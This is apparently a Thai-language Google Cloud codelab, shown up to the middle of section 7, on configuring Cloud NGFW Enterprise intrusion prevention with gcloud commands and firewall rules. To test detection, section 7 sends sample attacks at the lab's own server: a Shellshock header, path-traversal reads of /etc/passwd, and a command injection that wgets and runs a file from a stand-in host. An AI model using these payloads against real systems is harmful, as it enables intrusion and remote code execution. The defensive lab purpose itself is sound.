1. บทนำ
ไฟร์วอลล์รุ่นถัดไปในระบบคลาวด์ (NGFW)
Cloud Next Generation Firewall เป็นบริการไฟร์วอลล์แบบกระจายทั้งหมดที่มาพร้อมความสามารถในการป้องกันขั้นสูง การแบ่งกลุ่มแบบละเอียด และการครอบคลุมที่แพร่หลายเพื่อปกป้องเวิร์กโหลด Google Cloud จากการโจมตีทั้งจากภายในและภายนอก
Cloud NGFW มีประโยชน์ดังต่อไปนี้
- บริการไฟร์วอลล์แบบกระจาย: NGFW บนระบบคลาวด์จะบังคับใช้แบบมีสถานะและแบบกระจายไปยังโฮสต์อย่างเต็มรูปแบบในเวิร์กโหลดแต่ละรายการเพื่อเปิดใช้สถาปัตยกรรมการรักษาความปลอดภัยแบบ Zero Trust
- การกําหนดค่าและการติดตั้งใช้งานที่ง่ายขึ้น: Cloud NGFW ใช้นโยบายไฟร์วอลล์ตามลําดับชั้นและเครือข่ายที่สามารถแนบกับโหนดลําดับชั้นทรัพยากร นโยบายเหล่านี้มอบประสบการณ์การใช้งานไฟร์วอลล์ที่สอดคล้องกันในลําดับชั้นทรัพยากร Google Cloud
- การควบคุมแบบละเอียดและการแบ่งกลุ่มย่อย: การใช้ทั้งนโยบายไฟร์วอลล์และแท็กที่ควบคุมโดย Identity and Access Management (IAM) ช่วยให้ควบคุมการรับส่งข้อมูลทั้งแบบเหนือ-ใต้และตะวันออก-ตะวันตกได้ละเอียดลงไปจนถึง VM เดียวในเครือข่ายและองค์กร Virtual Private Cloud (VPC)
Cloud NGFW มีให้บริการใน Tier ต่อไปนี้
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise เพิ่ม Intrusion Prevention Service (IPS) ซึ่งเป็นความสามารถของเลเยอร์ 7 ลงใน Fabric ของไฟร์วอลล์ Google Cloud แบบกระจาย ระบบรองรับการตรวจสอบ TLS เพื่ออนุญาตการตรวจสอบการรับส่งข้อมูลที่เข้ารหัส TLS แต่การตรวจสอบนี้อยู่นอกขอบเขตของโค้ดแล็บนี้ (ดูโค้ดแล็บ NGFW ขององค์กรในระบบคลาวด์ที่มีการตรวจสอบ TLS)
ตอนนี้คุณติดตั้งใช้งานการตรวจสอบไฟร์วอลล์รุ่นถัดไป (NGFW) ระดับ 7 ที่เชื่อถือได้พร้อมการควบคุมแบบละเอียดได้แล้วโดยไม่ต้องทำการเปลี่ยนแปลงใดๆ ในสถาปัตยกรรมเครือข่ายหรือการกำหนดค่าการกำหนดเส้นทาง
หากต้องการเปิดใช้งานและติดตั้งใช้งานการควบคุมไฟร์วอลล์เลเยอร์ 7 ด้วย IPS คุณต้องทํางานต่อไปนี้
- สร้างชุดปลายทางของไฟร์วอลล์ระดับโซนที่มีการจัดการของ Google Cloud
- สร้างนโยบายการตรวจสอบ TLS (ไม่รวมอยู่ในโค้ดแล็บนี้) (ไม่บังคับ)
- สร้างการกำหนดค่าความน่าเชื่อถือ (ไม่รวมอยู่ในโค้ดแล็บนี้) (ไม่บังคับ)
- เชื่อมโยงอุปกรณ์ปลายทางเหล่านี้กับเครือข่าย Virtual Private Cloud (VPC) ที่ต้องการใช้บริการ Cloud NGFW Enterprise
- ทำการเปลี่ยนแปลงง่ายๆ ในนโยบายไฟร์วอลล์และกฎไฟร์วอลล์ที่มีอยู่เพื่อระบุโปรไฟล์การป้องกันภัยคุกคามสำหรับเส้นทางการรับส่งข้อมูลต่างๆ
นโยบายไฟร์วอลล์เครือข่าย
นโยบายไฟร์วอลล์ของเครือข่ายจะทำหน้าที่เป็นคอนเทนเนอร์สำหรับกฎไฟร์วอลล์ ระบบจะไม่บังคับใช้กฎที่กําหนดไว้ในนโยบายไฟร์วอลล์ของเครือข่ายจนกว่าจะมีการเชื่อมโยงนโยบายกับเครือข่าย VPC เครือข่าย VPC แต่ละเครือข่ายจะเชื่อมโยงกับนโยบายไฟร์วอลล์เครือข่ายได้ 1 รายการ นโยบายไฟร์วอลล์เครือข่ายรองรับแท็กที่ควบคุมโดย IAM (หรือเพียงแค่แท็ก) ในกฎไฟร์วอลล์ ซึ่งจะแทนที่แท็กเครือข่ายปัจจุบันและสามารถใช้เพื่อระบุตัวตนให้กับภาระงานได้
การแชร์นโยบายไฟร์วอลล์เครือข่ายในเครือข่ายต่างๆ และการผสานรวมกับแท็กที่ควบคุมโดย IAM ช่วยลดความซับซ้อนในการกําหนดค่าและการจัดการไฟร์วอลล์ได้อย่างมาก
นโยบายไฟร์วอลล์ของ Google Cloud ประกอบด้วยคอมโพเนนต์ต่อไปนี้เมื่อมีการใช้นโยบายไฟร์วอลล์ของเครือข่าย
- นโยบายไฟร์วอลล์แบบลําดับชั้น
- กฎไฟร์วอลล์ VPC
- นโยบายไฟร์วอลล์เครือข่าย ( ทั่วโลกและระดับภูมิภาค)
ระบบรองรับนโยบายไฟร์วอลล์แบบลําดับชั้นที่โหนดองค์กรและโฟลเดอร์ภายในลําดับชั้นทรัพยากร ส่วนกฎไฟร์วอลล์ VPC และนโยบายไฟร์วอลล์ของเครือข่ายจะใช้ที่ระดับ VPC ความแตกต่างที่สำคัญระหว่างกฎไฟร์วอลล์ VPC กับนโยบายไฟร์วอลล์ของเครือข่ายคือกฎไฟร์วอลล์ VPC ใช้กับเครือข่าย VPC ได้เพียงเครือข่ายเดียวเท่านั้น ส่วนนโยบายไฟร์วอลล์ของเครือข่ายจะแนบกับ VPC รายการเดียวหรือกลุ่ม VPC ได้ นอกเหนือจากประโยชน์อื่นๆ เช่น การอัปเดตแบบเป็นกลุ่ม
สุดท้ายนี้ เรามีกฎไฟร์วอลล์โดยนัยที่มาพร้อมกับเครือข่าย VPC ทุกเครือข่ายด้วย
- กฎขาออกที่มีการดําเนินการคืออนุญาต ปลายทางคือ 0.0.0.0/0
- กฎการรับส่งข้อมูลขาเข้าที่มีการดําเนินการคือปฏิเสธ แหล่งที่มาคือ 0.0.0.0/0
โดยค่าเริ่มต้น ลำดับการบังคับใช้จะแสดงในแผนภาพต่อไปนี้
โปรดทราบว่าคุณสามารถสลับลำดับการบังคับใช้ระหว่างกฎไฟร์วอลล์ VPC กับนโยบายไฟร์วอลล์ของเครือข่ายส่วนกลางได้ ลูกค้าระบุคำสั่งบังคับใช้ได้ทุกเมื่อด้วยคำสั่ง gcloud
แท็กที่ควบคุมโดย IAM
แท็กที่ผสานรวมในกฎนโยบายไฟร์วอลล์ของเครือข่ายใหม่คือทรัพยากรคู่คีย์-ค่าที่กําหนดไว้ที่องค์กรหรือระดับโปรเจ็กต์ของลําดับชั้นทรัพยากร Google Cloud แท็กดังกล่าวมีการควบคุมการเข้าถึง IAM ตามที่ชื่อบอกไว้ ซึ่งจะระบุผู้ที่มีสิทธิ์ทําสิ่งต่างๆ ในแท็ก ตัวอย่างเช่น สิทธิ์ IAM ช่วยให้ระบุผู้ใช้หลักที่กําหนดค่าให้กับแท็กได้ และผู้ใช้หลักที่แนบแท็กกับทรัพยากรได้ เมื่อใช้แท็กกับทรัพยากรแล้ว กฎไฟร์วอลล์ของเครือข่ายจะใช้แท็กดังกล่าวเพื่ออนุญาตและปฏิเสธการรับส่งข้อมูลได้
แท็กเป็นไปตามรูปแบบทรัพยากรแบบรับช่วงของ Google Cloud ซึ่งหมายความว่าแท็กและค่าของแท็กจะส่งต่อตามลําดับชั้นจากแท็กหลัก ด้วยเหตุนี้ คุณจึงสร้างแท็กในที่เดียว แล้วให้โฟลเดอร์และโปรเจ็กต์อื่นๆ นำไปใช้ในลำดับชั้นทรัพยากรได้ ดูรายละเอียดเกี่ยวกับแท็กและการจำกัดการเข้าถึงได้ที่หน้านี้
โปรดอย่าสับสนระหว่างแท็กกับแท็กเครือข่าย ส่วนหลังคือสตริงที่เพิ่มลงในอินสแตนซ์ Compute Engine ได้ โดยสตริงจะเชื่อมโยงกับอินสแตนซ์และหายไปเมื่อเลิกใช้งานอินสแตนซ์ กฎไฟร์วอลล์ VPC อาจรวมแท็กเครือข่าย แต่จะไม่อยู่ภายใต้การควบคุมการเข้าถึง IAM เนื่องจากไม่ได้ถือว่าเป็นทรัพยากรระบบคลาวด์
โปรดทราบว่าเอกสารนี้ใช้คำว่าแท็กและแท็กที่ควบคุมโดย IAM แทนกันได้
สิ่งที่คุณจะสร้าง
โค้ดแล็บนี้ต้องใช้โปรเจ็กต์เดียวและความสามารถในการสร้างเครือข่าย VPC ที่มีการเชื่อมต่อแบบสาธารณะ และจะสาธิตวิธีที่ Cloud NGFW Enterprise สามารถมอบฟังก์ชัน IPS ได้โดยทำดังนี้
- การตรวจสอบโฟลว์ภายใน VPC/ซับเน็ต [East-West]
- การตรวจสอบโฟลว์ขาเข้าจากอินเทอร์เน็ต [เหนือ-ใต้]
ระบบจะเลือกโฟลว์ที่จะตรวจสอบโดยใช้พารามิเตอร์การจับคู่ของ Cloud Firewall ซึ่งรวมถึง 5-tuple (IP ต้นทาง, IP ปลายทาง, โปรโตคอล, พอร์ตต้นทาง, พอร์ตปลายทาง) และแท็ก การตรวจสอบ TLS ไม่รวมอยู่ใน Codelab นี้
ฐานกฎนโยบายไฟร์วอลล์เครือข่ายจะคล้ายกับตารางด้านล่าง
ลำดับความสำคัญ | ทิศทาง | Target | แหล่งที่มา | ปลายทาง | การดำเนินการ | ประเภท |
100 | ขาออก | Quarantine_Tag | ตามแต่ละประเทศ | ตามแต่ละประเทศ | ปฏิเสธ | Essentials |
1000 | ขาเข้า | Server_Tag | ช่วงการตรวจสอบประสิทธิภาพการทำงาน | ตามแต่ละประเทศ | อนุญาต | Essentials |
2000 | ขาเข้า | ตามแต่ละประเทศ | ช่วงของ Identity-Aware Proxy | ตามแต่ละประเทศ | อนุญาต | Essentials |
3000 | ขาเข้า | ตามแต่ละประเทศ | Geo, GCTI | ตามแต่ละประเทศ | ปฏิเสธ | มาตรฐาน |
4000 | ขาออก | ตามแต่ละประเทศ | ตามแต่ละประเทศ | Geo, GCTI | ปฏิเสธ | มาตรฐาน |
5000 | ขาออก | ตามแต่ละประเทศ | ตามแต่ละประเทศ | FQDN ของการอัปเดตระบบ | อนุญาต | มาตรฐาน |
6000 | ขาเข้า | Server_Tag | 10.0.0.0/24 | ตามแต่ละประเทศ | IPS | Enterprise |
7000 | ขาเข้า | Server_Tag | CloudNAT_IP | ตามแต่ละประเทศ | IPS | Enterprise |
สิ่งที่คุณจะได้เรียนรู้
- วิธีสร้างนโยบายไฟร์วอลล์เครือข่ายส่วนกลาง
- วิธีสร้างและใช้แท็กที่มีนโยบายไฟร์วอลล์ของเครือข่าย
- วิธีกำหนดค่าและใช้ Intrusion Prevention Service ของ Cloud NGFW Enterprise
สิ่งที่ต้องมี
- โปรเจ็กต์ Google Cloud
- ความรู้เกี่ยวกับการทำให้อินสแตนซ์ใช้งานได้และการกำหนดค่าคอมโพเนนต์เครือข่าย
- ความรู้เกี่ยวกับการกำหนดค่าไฟร์วอลล์ VPC
2. ก่อนเริ่มต้น
สร้าง/อัปเดตตัวแปร
โค้ดแล็บนี้ใช้ตัวแปร $เพื่อช่วยในการติดตั้งใช้งานการกําหนดค่า gcloud ใน Cloud Shell
ใน Cloud Shell ให้เรียกใช้คําสั่งด้านล่างโดยแทนที่ข้อมูลในวงเล็บตามที่ต้องการ (ข้ามการตั้งค่าโปรเจ็กต์หากตั้งค่าโปรเจ็กต์ที่ต้องการไว้แล้ว) ระบบจะใช้ตัวแปรอื่นสําหรับทรัพยากรระดับองค์กร หากจําเป็นต้องใช้ปลายทางหลายรายการ เช่น ไฟร์วอลล์
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. เปิดใช้ API
เปิดใช้ API หากยังไม่ได้ดำเนินการ
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. การสร้างโปรไฟล์ความปลอดภัยระดับองค์กรและอุปกรณ์ปลายทางของ NGFW ในระบบคลาวด์
เนื่องจากการสร้างอุปกรณ์ปลายทาง NGFW Enterprise ในระบบคลาวด์จะใช้เวลาประมาณ 20 นาที ระบบจึงจะสร้างอุปกรณ์ปลายทางก่อนและตั้งค่าพื้นฐานควบคู่กันไปขณะที่ระบบสร้างอุปกรณ์ปลายทาง
สร้างโปรไฟล์ความปลอดภัยและกลุ่มโปรไฟล์ความปลอดภัย
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
ผลลัพธ์ที่คาดหวัง
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
ยืนยันว่าสร้างทรัพยากรเรียบร้อยแล้วโดยทำดังนี้
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
ผลลัพธ์ที่คาดหวัง
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
สร้างปลายทาง Cloud NGFW Enterprise โดยทำดังนี้
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
เรียกใช้คําสั่งด้านล่างเพื่อยืนยันว่าระบบกําลังสร้างอุปกรณ์ปลายทาง (สถานะ: CREATING)
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
ผลลัพธ์ที่คาดหวัง (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
หรือจะเรียกใช้คําสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติมก็ได้
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
ผลลัพธ์ที่คาดหวัง
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
กระบวนการสร้างปลายทางจะใช้เวลาประมาณ 20 นาที ไปที่ส่วนการตั้งค่าพื้นฐานเพื่อสร้างทรัพยากรที่จําเป็นควบคู่กัน
5. การตั้งค่าพื้นฐาน
โปรดไปยังส่วนต่อไปนี้หากต้องการสร้างทรัพยากรพื้นฐานด้วยตนเอง
เครือข่ายและซับเน็ต VPC
เครือข่ายและซับเน็ต VPC
สร้างเครือข่าย VPC และซับเน็ต โดยทำดังนี้
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
สร้าง Cloud Router และเกตเวย์ Cloud NAT โดยทำดังนี้
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
อินสแตนซ์
สร้างอินสแตนซ์ไคลเอ็นต์และเว็บเซิร์ฟเวอร์
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
แท็กระดับโปรเจ็กต์
มอบหมายสิทธิ์ tagAdmin และ/หรือ tagUser ให้กับผู้ใช้ หากจำเป็น
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
สร้างคีย์และค่าแท็กระดับโปรเจ็กต์ โดยทำดังนี้
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
เชื่อมโยงแท็กกับอินสแตนซ์
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
นโยบายไฟร์วอลล์เครือข่ายทั่วโลก
สร้างนโยบายไฟร์วอลล์ของเครือข่ายที่ครอบคลุม
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
สร้างกฎ Cloud Firewall Essential เพื่อปฏิเสธการรับส่งข้อมูลจากอินสแตนซ์ที่ถูกกักบริเวณ (สร้างขึ้นเพื่อใช้เป็นตัวอย่างเท่านั้น ไม่ได้ใช้ในโค้ดแล็บนี้) และอนุญาตการรับส่งข้อมูลจากช่วง health-check และ Identity-Aware Proxy ดังนี้
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
สร้างกฎมาตรฐานของ Cloud Firewall เพื่อปฏิเสธการรับส่งข้อมูลขาเข้าและขาออกจาก/ไปยังประเทศที่ถูกคว่ำบาตร, IP ที่เป็นอันตรายซึ่งทราบแล้ว และโหนดทางออกของ TOR และอนุญาตให้มีเฉพาะการรับส่งข้อมูลขาออกไปยัง FQDN ที่เฉพาะเจาะจงสำหรับการอัปเดตระบบเท่านั้น (สร้างเพื่อเป็นตัวอย่างเท่านั้น ไม่ได้ใช้ในโค้ดแล็บนี้)
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
สร้างกฎไฟร์วอลล์ระบบคลาวด์เพื่ออนุญาตการรับส่งข้อมูลขาเข้าจากตะวันออกไปตะวันตก / ภายในซับเน็ต และเหนือไปใต้ / อินเทอร์เน็ตจากช่วงที่กำหนด (ระบบจะอัปเดตกฎเหล่านี้เพื่อเปิดใช้ Cloud NGFW Enterprise)
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
เชื่อมโยงนโยบายไฟร์วอลล์ของเครือข่ายกับเครือข่าย VPC โดยทำดังนี้
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
ตัวจัดสรรภาระงานเครือข่าย TCP/UDP ภายนอก
จองที่อยู่ IP ภายนอก สร้างกลุ่มอินสแตนซ์ และตรวจสอบสถานะโดยทำดังนี้
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
สร้างบริการแบ็กเอนด์และกฎการส่งต่อ
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6. การเชื่อมโยงอุปกรณ์ปลายทางขององค์กร NGFW ในระบบคลาวด์
กำหนดตัวแปรสภาพแวดล้อมใหม่หากจำเป็น
ยืนยันว่าการสร้างปลายทางของ Cloud Firewall เสร็จสมบูรณ์แล้ว ดำเนินการต่อเมื่อสถานะแสดงเป็นใช้งานอยู่เท่านั้น (ระหว่างการสร้าง สถานะที่คาดไว้คือกำลังสร้าง)
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
ผลลัพธ์ที่คาดหวัง (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
หรือจะเรียกใช้คําสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติมก็ได้
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
ผลลัพธ์ที่คาดหวัง
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
เชื่อมโยงอุปกรณ์ปลายทาง Cloud NGFW Enterprise กับเครือข่าย VPC โดยทำดังนี้
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
กระบวนการเชื่อมโยงจะใช้เวลาประมาณ 10 นาที ดำเนินการต่อเมื่อสถานะแสดงเป็นใช้งานอยู่เท่านั้น (สถานะที่คาดไว้คือกำลังสร้างในระหว่างกระบวนการสร้าง)
gcloud network-security firewall-endpoint-associations list
ผลลัพธ์ที่คาดหวัง
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
หรือจะเรียกใช้คําสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติมก็ได้
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
ผลลัพธ์ที่คาดหวัง
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. กฎการตรวจสอบ NGFW ขององค์กรในระบบคลาวด์
เปิดแท็บใหม่และเริ่มต้นการเชื่อมต่อ SSH กับ VM ของลูกค้าผ่าน IAP (คุณจะต้องกำหนดตัวแปรอีกครั้งในแท็บใหม่)
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
กําหนดตัวแปรที่จําเป็นในเซสชัน SSH และตั้งค่าตัวแปร (ตรวจสอบว่าค่าถูกต้อง)
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
curl ทั้ง 2 IP เพื่อยืนยันว่าเข้าถึงได้
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
ผลลัพธ์ที่คาดไว้สำหรับคําขอ curl ทั้ง 2 รายการ
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
ส่งตัวอย่างการโจมตีไปยัง IP ของเซิร์ฟเวอร์ภายใน (การรับส่งข้อมูล East-West / ภายใน VPC) เว็บเซิร์ฟเวอร์ควรตอบกลับคําขอทั้งหมด ซึ่งยืนยันว่าไม่มีการตรวจสอบ/การป้องกัน L7 อยู่
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
ส่งตัวอย่างการโจมตีไปยัง IP ของเซิร์ฟเวอร์ภายนอกอีกครั้งผ่าน Cloud NAT (การรับส่งข้อมูลขาเข้าจากเหนือไปใต้) และในทางกลับกัน เว็บเซิร์ฟเวอร์ควรตอบกลับคําขอทั้งหมด ดังนี้
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
ผลลัพธ์ที่คาดไว้สำหรับทั้ง IP สาธารณะและ IP ส่วนตัว
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
เปลี่ยนกลับไปที่ Cloud Shell แล้วอัปเดตกฎขาเข้าที่มีอยู่เพื่อเปิดใช้การตรวจสอบ L7 โดยทำดังนี้
